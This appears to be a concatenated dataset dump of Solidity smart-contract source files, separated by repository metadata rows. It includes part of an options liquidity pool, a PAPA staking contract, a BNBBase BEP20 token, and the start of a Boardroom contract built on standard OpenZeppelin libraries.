function provide(uint256 minMint , address referrer) external payable returns (uint256 mint) {
lastProvideTimestamp[msg.sender] = block.timestamp;
uint256 supply = totalSupply();
uint256 balance = totalBalance();
uint256 amount = msg.value;
if(referrer != address(0) && referrer != msg.sender && referrer != address(this)){
uint256 referralReward = ((msg.value * referralRewardPercentage)/ACCURACY)/100;
amount = msg.value - referralReward;
if (referralReward > 0){
payable(referrer).transfer(referralReward);
}
}
if (supply > 0 && balance > 0)
mint = (amount * supply) / (balance - amount);
else mint = amount * INITIAL_RATE;
require(mint >= minMint, "Pool: Mint limit is too large");
require(mint > 0, "Pool: Amount is too small");
_mint(msg.sender, mint);
emit Provide(msg.sender, amount, mint);
}
function withdraw(uint256 amount, uint256 maxBurn)
external
returns (uint256 burn)
{
require(lastProvideTimestamp[msg.sender] + lockupPeriod <= block.timestamp,
"Pool: Withdrawal is locked up");
require(amount <= availableBalance(),
"Pool Error: Not enough funds on the pool contract. Please lower the amount.");
burn = divCeil((amount * totalSupply()), totalBalance());
require(burn <= maxBurn, "Pool: Burn limit is too small");
require(burn <= balanceOf(msg.sender), "Pool: Amount is too large");
require(burn > 0, "Pool: Amount is too small");
_burn(msg.sender, burn);
emit Withdraw(msg.sender, amount, burn);
payable(msg.sender).transfer(amount);
}
function lock(uint256 id, uint256 amount) external payable override {
require(hasRole(OPTION_ISSUER_ROLE, msg.sender),
"msg.sender is not allowed to excute the option contract");
require(id == lockedLiquidity[msg.sender].length, "Wrong id");
require(totalBalance() >= msg.value, "Insufficient balance");
require((lockedAmount + amount) <= ((totalBalance() - msg.value) * 8) / 10,
"Pool Error: Amount is too large.");
lockedLiquidity[msg.sender].push(LockedLiquidity(amount, msg.value, true));
lockedPremium = lockedPremium + msg.value;
lockedAmount = lockedAmount + amount;
}
function unlock(uint256 id) external override {
require(hasRole(OPTION_ISSUER_ROLE, msg.sender),
"msg.sender is not allowed to excute the option contract");
LockedLiquidity storage ll = lockedLiquidity[msg.sender][id];
require(ll.locked, "LockedLiquidity with such id has already unlocked");
ll.locked = false;
lockedPremium = lockedPremium - ll.premium;
lockedAmount = lockedAmount - ll.amount;
emit Profit(id, ll.premium);
}
function send(uint256 id,
address payable to,
uint256 amount) external override {
require(hasRole(OPTION_ISSUER_ROLE, msg.sender),
"msg.sender is not allowed to excute the option contract");
LockedLiquidity storage ll = lockedLiquidity[msg.sender][id];
require(ll.locked, "LockedLiquidity with such id has already unlocked");
require(to != address(0));
ll.locked = false;
lockedPremium = lockedPremium - ll.premium;
lockedAmount = lockedAmount - ll.amount;
uint256 transferAmount = amount > ll.amount ? ll.amount : amount;
to.transfer(transferAmount);
if (transferAmount <= ll.premium)
emit Profit(id, ll.premium - transferAmount);
else emit Loss(id, transferAmount - ll.premium);
}
function shareOf(address account) external view returns (uint256 share) {
if (totalSupply() > 0)
share = (totalBalance() * balanceOf(account)) / totalSupply();
else share = 0;
}
function availableBalance() public view returns (uint256 balance) {
return totalBalance() - lockedAmount;
}
function totalBalance() public view override returns (uint256 balance) {
return address(this).balance - lockedPremium;
}
function _beforeTokenTransfer(address from,
address to,
uint256) internal override {
if (lastProvideTimestamp[from] + lockupPeriod > block.timestamp &&
lastProvideTimestamp[from] > lastProvideTimestamp[to]) {
require(!_revertTransfersInLockUpPeriod[to],
"the recipient does not accept blocked funds");
lastProvideTimestamp[to] = lastProvideTimestamp[from];
}
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
if (a % b != 0) c = c + 1;
return c;
}
}
| 249,435 | 10,568 |
9f436a838eb1e1930406e8d42ca63706e228880c5c60eac2eb1934c5355f53f2
| 27,274 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ec/ecc4ff9bd7fecefa2d2c03d94ccb4be23ecff4a5_Staking.sol
| 4,168 | 16,521 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsPAPA {
function rebase(uint256 papaProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable PAPA;
address public immutable sPAPA;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _PAPA,
address _sPAPA,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_PAPA != address(0));
PAPA = _PAPA;
require(_sPAPA != address(0));
sPAPA = _sPAPA;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(PAPA).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsPAPA(sPAPA).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sPAPA).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsPAPA(sPAPA).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsPAPA(sPAPA).balanceForGons(info.gons));
IERC20(PAPA).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sPAPA).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(PAPA).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsPAPA(sPAPA).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsPAPA(sPAPA).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsPAPA(sPAPA).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(PAPA).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sPAPA).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sPAPA).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 89,900 | 10,569 |
c35c6d1a67c23f7f165c6bc305b7dc75511f35d853ba7b01eca6a0a0b039bd6c
| 28,566 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0e65d36b00c146d32Dd6487E0BCc1842d6486692/contract.sol
| 2,827 | 10,952 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BNBBaseToken is ERC20("BNBBase", "BNBB"), Ownable {
uint256 private _initial_supply = 5000e18;
constructor() public {
_mint(msg.sender, _initial_supply); // Mint 5000
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 257,141 | 10,570 |
f7fc1b5a0075674b623b0b2b7f8e5fd0fe22d554d4cc88f9b82109ad2a1ee6e7
| 32,427 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/34/34a516f10754cc90de7366575f6207ce22a0077d_Boardroom.sol
| 4,799 | 18,730 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
